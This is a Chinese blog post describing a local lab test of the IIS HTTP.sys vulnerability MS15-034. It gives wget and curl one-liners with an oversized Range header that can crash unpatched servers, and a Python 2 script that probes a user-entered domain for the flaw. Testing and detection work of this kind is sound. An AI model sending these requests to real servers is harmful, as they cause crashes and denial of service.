1. 程式人生 > >HTTP.sys 遠端執行程式碼漏洞(CVE-2015-1635)(MS15-034)簡單測試

HTTP.sys 遠端執行程式碼漏洞(CVE-2015-1635)(MS15-034)簡單測試

        無意中用掃描器掃到了HTTP.sys 漏洞,因為之前寫過python單poc指令碼,感覺exp應該也是存在的。本著常識的心態找一下利用程式碼,如果能提權是再好不過的。

    根據網上的記錄,此漏洞利用最多的是導致藍屏。RCE還無法找到,可能被大牛私藏了。由於會導致BSOD,所以只能在本地進行測試了。步驟如下:

    1、環境搭建,由於本人的server只有2003,只能安裝iis6.0,且需要下載安裝包進行下載,系統無自帶。此漏洞存在於iis6.0以上版本,所以無法成功。

    2、用win7進行環境搭建,步驟可參考:https://jingyan.baidu.com/article/2fb0ba40916a1c00f2ec5ff7.html,由於我們只需要一個歡迎頁面,所以安裝成功後即可。還有一個問題是防火牆需要進行關閉,否則從區域網進行訪問。

    3、比較簡單的方法是使用一行命令:wget –header=Range: bytes=18-18446744073709551615”  http:victim/welcome.png,圖片是iis的預設圖片地址。由於我使用的mac沒有wget命令,所以使用curl進行替代,命令如下:

        curl  -H"Range: bytes=18-18446744073709551615"  victim/welcome.png 

    之前url我使用了http://的格式發現一直無法成功,後來去掉http://後,成功。


最後附上poc指令碼:

# -*- coding: utf-8 -*-

import requests
def identify_iis(domain):

    req = requests.get(str(domain))

    remote_server = req.headers['server']

    if 'Microsoft-IIS' in remote_server:

        print('服務是' + remote_server)

        ms15_034_test(str(domain))

    else:

        print('伺服器不是IIS\n可能是: ' + remote_server)

def ms15_034_test(domain):

    print('啟動vuln檢查!')

    headers = {'Host': 'stuff','Range': 'bytes=0-18446744073709551615'}

    req = requests.get(str(domain), headers = headers)

    if 'Requested Range Not Satisfiable' in req.content:

        print '存在HTTP.sys遠端程式碼執行漏洞!'

    elif 'The request has an invalid header name' in req.content:

        print '漏洞已修復'

    else:

        print 'IIS服務無法顯示漏洞是否存在,需要手動檢測'

if __name__== '__main__':

    usr_domain = raw_input('輸入域名掃描: ')
    identify_iis(usr_domain)